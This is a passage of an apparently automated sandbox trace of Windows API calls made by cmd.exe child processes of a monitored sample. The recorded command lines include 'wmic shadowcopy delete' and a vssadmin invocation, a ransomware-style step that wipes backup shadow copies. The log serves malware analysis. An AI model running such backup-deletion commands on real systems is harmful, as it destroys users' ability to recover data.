(HeapHandle=0x7a0000, Flags=0x8, Size=0x400e) returned 0x7b6a20 [0038.807] GetProcessHeap () returned 0x7a0000 [0038.807] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x54) returned 0x7b2d70 [0038.807] GetProcessHeap () returned 0x7a0000 [0038.807] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b6a20 | out: hHeap=0x7a0000) returned 1 [0038.807] GetConsoleOutputCP () returned 0x1b5 [0038.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.807] GetUserDefaultLCID () returned 0x409 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39f6f8, cchData=128 | out: lpLCData="0") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39f6f8, cchData=128 | out: lpLCData="0") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39f6f8, cchData=128 | out: lpLCData="1") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.808] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.808] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.810] GetProcessHeap () returned 0x7a0000 [0038.810] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x20c) returned 0x7b2dd0 [0038.810] GetConsoleTitleW (in: lpConsoleTitle=0x7b2dd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.810] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.810] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.810] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.810] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.810] GetProcessHeap () returned 0x7a0000 [0038.810] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x400a) returned 0x7b6a20 [0038.810] GetProcessHeap () returned 0x7a0000 [0038.811] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b6a20 | out: hHeap=0x7a0000) returned 1 [0038.811] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0038.811] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0038.811] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0038.811] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0038.811] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0038.811] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0038.811] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0038.811] GetProcessHeap () returned 0x7a0000 [0038.811] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x58) returned 0x7b2fe8 [0038.811] GetProcessHeap () returned 0x7a0000 [0038.811] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1a) returned 0x7b5720 [0038.812] GetProcessHeap () returned 0x7a0000 [0038.812] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x40) returned 0x7b3048 [0038.812] GetConsoleTitleW (in: lpConsoleTitle=0x39f3f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.813] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.813] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.813] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.813] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.813] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.813] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.813] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.813] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.813] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.813] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.813] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.814] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.814] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.814] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.814] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.814] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.814] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.814] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.814] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.814] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.814] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.814] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.814] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.814] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.814] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.814] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.814] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.814] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.814] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.814] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.814] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.814] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.814] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.814] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.814] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.814] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.814] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.814] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.814] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.814] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.814] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.814] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.815] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.815] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.815] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.815] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.815] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.815] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.815] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.815] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.815] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.815] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.815] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.815] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.815] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.815] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.815] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.815] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.815] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.815] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.815] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.815] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.815] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.815] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.815] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.815] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.815] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.815] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.815] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.815] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.815] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.815] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.815] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.815] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.815] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.815] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.815] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.816] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.816] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.816] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.816] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.816] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.816] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.816] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.816] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0038.816] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0038.816] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0038.816] GetProcessHeap () returned 0x7a0000 [0038.816] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x210) returned 0x7b3090 [0038.816] GetProcessHeap () returned 0x7a0000 [0038.816] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x52) returned 0x7b32a8 [0038.816] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0038.817] GetProcessHeap () returned 0x7a0000 [0038.817] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x418) returned 0x7a07f0 [0038.817] SetErrorMode (uMode=0x0) returned 0x0 [0038.817] SetErrorMode (uMode=0x1) returned 0x0 [0038.817] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7a07f8, lpFilePart=0x39ef10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39ef10*="Desktop") returned 0x25 [0038.817] SetErrorMode (uMode=0x0) returned 0x1 [0038.817] GetProcessHeap () returned 0x7a0000 [0038.817] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7a07f0, Size=0x66) returned 0x7a07f0 [0038.817] GetProcessHeap () returned 0x7a0000 [0038.817] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7a07f0) returned 0x66 [0038.817] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.817] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.817] GetProcessHeap () returned 0x7a0000 [0038.817] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x120) returned 0x7b3308 [0038.817] GetProcessHeap () returned 0x7a0000 [0038.817] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x238) returned 0x7a0860 [0039.438] GetConsoleTitleW (in: lpConsoleTitle=0x39f184, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.438] InitializeProcThreadAttributeList (in: lpAttributeList=0x39f00c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39f0d4 | out: lpAttributeList=0x39f00c, lpSize=0x39f0d4) returned 1 [0039.438] UpdateProcThreadAttribute (in: lpAttributeList=0x39f00c, dwFlags=0x0, Attribute=0x60001, lpValue=0x39f0cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39f00c, lpPreviousValue=0x0) returned 1 [0039.438] GetStartupInfoW (in: lpStartupInfo=0x39efc8 | out: lpStartupInfo=0x39efc8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.863] CloseHandle (hObject=0x74) returned 1 [0039.863] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.864] GetProcessHeap () returned 0x7a0000 [0039.864] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b5ee0 | out: hHeap=0x7a0000) returned 1 [0039.864] GetEnvironmentStringsW () returned 0x7b5ee0* [0039.864] GetProcessHeap () returned 0x7a0000 [0039.864] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb36) returned 0x7b40a0 [0039.864] FreeEnvironmentStringsW (penv=0x7b5ee0) returned 1 [0039.864] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0051.863] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x39efa8 | out: lpExitCode=0x39efa8*=0x2) returned 1 [0051.863] CloseHandle (hObject=0x78) returned 1 [0051.863] _vsnwprintf (in: _Buffer=0x39f0f0, _BufferCount=0x13, _Format="%08X", _ArgList=0x39efb4 | out: _Buffer="00000002") returned 8 [0051.863] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0051.864] GetProcessHeap () returned 0x7a0000 [0051.864] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b40a0 | out: hHeap=0x7a0000) returned 1 [0051.864] GetEnvironmentStringsW () returned 0x7b40a0* [0051.864] GetProcessHeap () returned 0x7a0000 [0051.864] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb5c) returned 0x7b9588 [0051.864] FreeEnvironmentStringsW (penv=0x7b40a0) returned 1 [0051.864] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0051.864] GetProcessHeap () returned 0x7a0000 [0051.864] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b9588 | out: hHeap=0x7a0000) returned 1 [0051.864] GetEnvironmentStringsW () returned 0x7b40a0* [0051.864] GetProcessHeap () returned 0x7a0000 [0051.864] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb5c) returned 0x7b9588 [0051.864] FreeEnvironmentStringsW (penv=0x7b40a0) returned 1 [0051.864] GetProcessHeap () returned 0x7a0000 [0051.864] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7afef0 | out: hHeap=0x7a0000) returned 1 [0051.864] DeleteProcThreadAttributeList (in: lpAttributeList=0x39f00c | out: lpAttributeList=0x39f00c) [0051.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0051.864] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0051.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0051.864] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0051.865] _get_osfhandle (_FileHandle=0) returned 0x3 [0051.865] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0051.865] SetConsoleInputExeNameW () returned 0x1 [0051.865] GetConsoleOutputCP () returned 0x1b5 [0051.865] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0051.865] SetThreadUILanguage (LangId=0x0) returned 0x409 [0051.865] exit (_Code=2) Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x334a8000" os_pid = "0xb64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "cmd.exe /c wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 18 os_tid = 0x314 [0038.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fa54 | out: lpSystemTimeAsFileTime=0x28fa54*(dwLowDateTime=0xa791a120, dwHighDateTime=0x1d5e09d)) [0038.024] GetCurrentProcessId () returned 0xb64 [0038.024] GetCurrentThreadId () returned 0x314 [0038.024] GetTickCount () returned 0x11549fc [0038.024] QueryPerformanceCounter (in: lpPerformanceCount=0x28fa4c | out: lpPerformanceCount=0x28fa4c*=17989519390) returned 1 [0038.025] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.025] __set_app_type (_Type=0x1) [0038.025] __p__fmode () returned 0x76be31f4 [0038.025] __p__commode () returned 0x76be31fc [0038.025] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.025] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.026] GetCurrentThreadId () returned 0x314 [0038.026] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x314) returned 0x60 [0038.026] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.026] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.026] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.026] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.026] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28f9e4 | out: phkResult=0x28f9e4*=0x0) returned 0x2 [0038.026] VirtualQuery (in: lpAddress=0x28fa1b, lpBuffer=0x28f9b4, dwLength=0x1c | out: lpBuffer=0x28f9b4*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.026] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f9b4, dwLength=0x1c | out: lpBuffer=0x28f9b4*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.026] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f9b4, dwLength=0x1c | out: lpBuffer=0x28f9b4*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.026] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28f9b4, dwLength=0x1c | out: lpBuffer=0x28f9b4*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.026] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f9b4, dwLength=0x1c | out: lpBuffer=0x28f9b4*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.026] GetConsoleOutputCP () returned 0x1b5 [0038.027] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.027] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.027] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.027] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.027] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.027] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.028] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.028] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.028] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.028] GetEnvironmentStringsW () returned 0x5c1ff0* [0038.028] GetProcessHeap () returned 0x5b0000 [0038.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xaca) returned 0x5c2ac8 [0038.028] FreeEnvironmentStringsW (penv=0x5c1ff0) returned 1 [0038.028] GetProcessHeap () returned 0x5b0000 [0038.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5c0c28 [0038.028] GetEnvironmentStringsW () returned 0x5c1ff0* [0038.028] GetProcessHeap () returned 0x5b0000 [0038.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xaca) returned 0x5c35a0 [0038.029] FreeEnvironmentStringsW (penv=0x5c1ff0) returned 1 [0038.029] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e954 | out: phkResult=0x28e954*=0x68) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x0, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x1, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x1, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x0, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x40, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x40, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x40, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.029] RegCloseKey (hKey=0x68) returned 0x0 [0038.029] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e954 | out: phkResult=0x28e954*=0x68) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x40, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x1, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x1, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x0, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x9, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x4, lpData=0x28e960*=0x9, lpcbData=0x28e958*=0x4) returned 0x0 [0038.029] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e95c, lpData=0x28e960, lpcbData=0x28e958*=0x1000 | out: lpType=0x28e95c*=0x0, lpData=0x28e960*=0x9, lpcbData=0x28e958*=0x1000) returned 0x2 [0038.030] RegCloseKey (hKey=0x68) returned 0x0 [0038.030] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.030] srand (_Seed=0x5e423e1c) [0038.030] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0038.030] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0038.030] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.030] GetProcessHeap () returned 0x5b0000 [0038.030] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x210) returned 0x5c1ff0 [0038.030] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c1ff8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b 